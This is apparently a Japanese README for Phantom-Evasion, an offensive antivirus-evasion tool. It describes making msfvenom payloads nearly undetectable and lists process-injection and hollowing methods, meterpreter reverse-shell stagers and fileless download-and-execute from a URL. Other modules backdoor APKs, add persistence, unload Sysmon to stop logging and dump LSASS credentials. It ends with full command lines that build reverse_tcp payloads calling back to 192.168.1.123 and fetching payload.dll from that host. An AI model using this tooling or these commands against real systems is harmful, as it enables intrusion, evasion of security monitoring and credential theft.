
Python製アンチウイルス回避ツール
Phantom-EvasionはPythonで書かれたアンチウイルス回避ツールで(PythonおよびPython3の両方に対応)、最も一般的なx86のmsfvenomペイロードでも(ほぼ)完全に検出不可能な実行ファイルを生成することができます。
以下のOSは正式に自動セットアップをサポートしています:
以下のOSは自動セットアップをサポートする可能性がありますが、metasploit-frameworkの手動インストールが必要です:
以下のOSは手動セットアップが必要です:
単にgit cloneするか、ダウンロードしてPhantom-Evasionフォルダを解凍してください。
自動セットアップ: ターミナルを開き、次のコマンドを実行します:
python3 phantom-evasion.py --setup
または:
chmod +x ./phantom-evasion.py
./phantom-evasion.py --setup
または、InteractiveモードでPhantom-Evasionを起動し、オプション7を選択してください。
python3 phantom-evasion.py
または:
./phantom-evasion.py
python3 phantom-evasion.py --help
または:
./phantom-evasion.py --help
すべてのWindowsペイロードCモジュールは、EXEまたはDLL/ReflectiveDLLとしてコンパイル可能(x86およびx64の両方をサポート)。
ランダム化されたジャンクコードインジェクション(強度、頻度、再注入確率を設定可能)とWindowsアンチウイルス回避技術(頻度を設定可能)。
ShellcodeインジェクションおよびDownload Execモジュールの両方でマルチバイトXor/Vigenereシェルコード/ファイル暗号化をサポート。
Ntdll unhookapiおよびPebプロセスマスカレード技術をサポート。
幅広い実行モードをサポート(ローカルおよびリモートの両方)。
多様なペイロードメモリ割り当てモード(Virtual_RWX、Virtual_RW/RX、Virtual_RW/RWX、Heap_RWX)。
Windows APIの動的ロードを設定可能。
証明書スプーフィングおよび署名に対応。
実行ファイルのストリップ(https://en.wikipedia.org/wiki/Strip_(Unix))
Msfvenom Windowsペイロードおよびカスタムシェルコードをサポート。Shellcodeはリソースとして保存し、実行時にFindResource APIで取得可能。
サポートされるシェルコード暗号化:
1.none
2.マルチバイトXor
3.ダブルキーマルチバイトXor
4.Vigenere
5.ダブルキーVigenere
ローカル実行メソッドは以下のいずれか:
Thread
APC
ローカルメモリ割り当てモードは以下のいずれか:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
リモート実行メソッドは以下のいずれか:
ThreadExecutionHijack(略称 TEH)
Processinject(略称 PI)
APCSpray(略称 APCS)
EarlyBird(略称 EB)
EntryPointHijack(略称 EPH)
リモートメモリ割り当てモードは以下のいずれか:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Pure C meterpreter stager(TCP/HTTP/HTTPS)モジュールは、msfconsoleおよびCobalt Strike Beaconと互換性があります。(reverse_tcp / reverse_http / reverse_https)
コマンドラインモードを使用する場合:
reverse_tcp c stager is WRT
reverse_http c stager is WRH
reverse_https c stager is WRS
ローカル実行メソッドは以下のいずれか:
Thread
APC
ローカルメモリ割り当てモードは以下のいずれか:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
指定されたURLからexe/dllをメモリにダウンロードし、リモートプロセスに実行/ロードします(ディスクに書き込むことなく)。
EXE/DLL暗号化ダウンロードをサポート:
1.none
2.マルチバイトXor
3.ダブルキーマルチバイトXor
4.Vigenere
5.ダブルキーVigenere
暗号化されたDLL/EXEは、元のファイル名 + "crypt" + ".dll" または ".exe" として保存されます。これがダウンロードされるファイルです。
Windows DownloadExecExe NoDiskWrite(コマンドラインモードではWDE):
リモート実行メソッドは以下のいずれか:
ProcessHollowing(略称 PH)
Windows DownloadExecDll NoDiskWrite(コマンドラインモードではWDD):
リモートローディングメソッドは以下のいずれか:
ReflectiveDll(略称 RD)
RDAPC(ReflectiveDllAPC)
ManualMap(略称 MM)---> x86のみ
Msfvenom Linuxペイロードおよびカスタムシェルコードをサポート。
Android Msfvenom難読化バックドア:
msfvenomペイロードを難読化し、apktoolで再ビルド(smali/baksmali)します。 難読化されたペイロードは、正規のAPKファイルにバックドアを仕込むために使用できます。
Windows 永続化 RegCreateKeyExW レジストリキー追加(C) コンパイルされた実行ファイルをターゲットマシンにアップロードし、起動に追加するファイルのフルパスを引数として指定して実行する必要があります。
Windows 永続化 REG レジストリキー追加(CMD) このモジュールは永続化用のコマンドラインペイロード(REG.exeによるレジストリキー追加)を生成します。
Windows 永続化 プロセス維持(C) コンパイルされた実行ファイルをターゲットマシンにアップロードして実行します。 CreateToolSnapshootのProcessFirstおよびProcessNextを使用して、指定されたプロセスがX秒ごとに生存しているかチェックします(生存していなければWinExec APIで新しいプロセスを作成します)。
Windows 永続化 Schtasks(CMD) このモジュールは永続化用のコマンドラインペイロード(Schtasks.exeを使用)を生成します。
Windows 永続化 サービス作成(CMD) このモジュールは永続化用のコマンドラインペイロード(sc.exeを使用)を生成します。
Windows DuplicateTokenEx(C)
別のプロセスからクローンしたトークンを使用して新しいプロセスを作成します。 コンパイルされた実行ファイルをターゲットマシンにアップロードして実行する必要があります。
Windows Sysmonアンロード(C) sysmonドライバをアンロードし、システムがSysmonイベントログの記録を停止するようにします。 コンパイルされた実行ファイルをターゲットマシンにアップロードして実行する必要があります。
Windows Sysmonアンロード(CMD) sysmonドライバをアンロードし、システムがSysmonイベントログの記録を停止するようにします。
Windows Attrib ファイル非表示(CMD) attribを使用してファイルを非表示にします
Windows SetFileAttribute 隠しファイル(C) SetFileAttribute APIを使用してファイルを非表示にします。 コンパイルされた実行ファイルをターゲットマシンにアップロードして実行する必要があります。
Windows DumpLsass(C) MiniWriteDumpWrite APIを使用してLsassをダンプします。 コンパイルされた実行ファイルをターゲットマシンにアップロードして実行する必要があります。
Windows DumpLsass(CMD) コマンドラインからLsassをダンプします。
python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.123 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp SkypeApp.exe -i PI -e 3 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -R -o filename.dll
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp svchost.exe -i EB -e 2 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -res -S -o filename.dll
python3 phantom-evasion.py -m WRS -a x64 -H 192.168.1.123 -P 4444 -i Thread -mem Heap_RWX -j 1 -J 15 -jr 0 -E 5 -f dll -S -o filename.dll
python3 phantom-evasion.py -m WDD -U http://192.168.1.123/payload.dll -i MM -tp OneDrive.exe -ds 1000000 -j 10 -J 10 -jr 0 -E 10 -f exe -S -o filename.exe
python3 phantom-evasion.py -m WDE -U http://192.168.1.123/payloadcrypt.exe -e 4 -ef payload.exe -i PH -tp svchost.exe -ds 1000000 -j 1 -J 5 -jr 0 -E 3 -f dll -R -S -o filename.dll
GPLv3.0
https://github.com/stephenfewer/ReflectiveDLLInjection
https://github.com/rsmudge/metasploit-loader
https://github.com/theevilbit/injection
http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/
https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf